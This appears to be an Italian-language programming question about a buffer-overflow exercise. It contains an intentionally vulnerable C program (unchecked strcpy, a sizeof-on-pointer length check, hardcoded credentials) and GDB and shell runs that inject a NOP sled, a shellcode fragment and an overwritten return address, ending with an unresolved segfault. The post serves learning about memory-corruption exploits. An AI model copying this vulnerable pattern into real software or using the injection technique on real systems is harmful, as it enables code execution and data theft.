Quello che fa il mio programma volutamente insicuro è controllare se un nome utente corrisponde a una stringa specifica copiando l'input dell'utente in un buffer e confrontandolo.
Ho compilato il programma
cc -o real real.c -g -m32 -static -fno-stack-protector
Sono riuscito a riempire il buffer con shellcode e sovrascrivere il mio EIP con l'indirizzo di ritorno di dove avviene l'overflow del buffer per poter essere eseguito utilizzando GDB. Ma continua a verificarsi un problema di segmentazione che non capisco.
Proverò persino a includere un printf %s
per stampare l'indirizzo del mio buffer per assicurarmi di avere l'indirizzo corretto
#include <stdlib.h>
#include <string.h>
int checkUserName(int argc, char **argv) {
char storedName[300];
int pass = 1;
printf("%p\n", (void*)&storedName);
if(argc == 1){
pass = 0;
printf("Nothing Entered");
return(0);
}
else if(sizeof(argv[1]) > 20){
printf("Too many characters.");
pass = 0;
return(0);
}
else if(argc > 1) {
strcpy(storedName, argv[1]);
}
while (pass == 1) {
if(!strcmp(storedName, "694449"))
{
printf("Username Successfull\n");
return(1);
}
else{
return(0);
}
}
}
int checkUserPassword(char *userPassword) {
if(!strcmp(userPassword, "1994"))
{
return(1);
}
else{
printf("\nWrong Password. Exiting Program");
return(0);
}
}
int openBankAccounts() {
char buff[5000];
FILE *fp;
fp = fopen("/home/parallels/RASS/bankAccounts.txt", "r");
while (fgets (buff, sizeof(buff), fp)) {
printf("%s", buff);
}
fclose(fp);
}
int main(int argc, char *argv[]) {
int go = 1;
if(!checkUserName(argc, argv)){
printf("\nWrong Username. Exiting Program");
go = 0;
return(0);
}
while (go == 1){
char userPassword[5];
printf("\nPlease Enter 4 Digit Pin: ");
fgets(userPassword, 5, stdin);
if (!checkUserPassword(userPassword)){
return(0);
}
else{
go = 0;
}
}
if(go == 0){
openBankAccounts();
}
return 0;
}
CODICE GBD
(gdb) run $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')
Starting program: /home/parallels/RASS/real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284')
0xffffce50
L'indirizzo 0xffffce50
sopra viene dalla stampa. Sono consapevole che questo indirizzo cambia quando viene eseguito al di fuori di GDB. Sono anche consapevole che altri caratteri immessi inizieranno a sovrascrivere l'EIP.
Program received signal SIGSEGV, Segmentation fault.
0x08048f1a in openBankAccounts () at real.c:54
(gdb) info reg ebp eip
ebp 0x90909090 0x90909090
eip 0x8048f1a 0x8048f1a <openBankAccounts+29>
Ora lo eseguo dal terminale per primo, per far sì che il programma stampi l'indirizzo:
parallels@ubuntu:~/RASS$ ./real haha
0xffffcfb0
E poi lo eseguo con quell'indirizzo:
parallels@ubuntu:~/RASS$ ./real $(python -c 'print "\x90"*20 + "\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2"+ "\x90"*284' + "\x70\xce\xff\xff")
0xffffce70
Segmentation fault (core dumped)
Come puoi vedere, l'indirizzo di memoria che ho inserito alla fine del mio input python è lo stesso dell'indirizzo stampato che il programma stampa. Quello che dovrebbe accadere è che l'EIP dovrebbe contenere questo indirizzo ed eseguire l'istruzione a quell'indirizzo che punta al buffer che ho overflown con lo shellcode. Ma succede un errore di segmentazione che non capisco. Tutto ha senso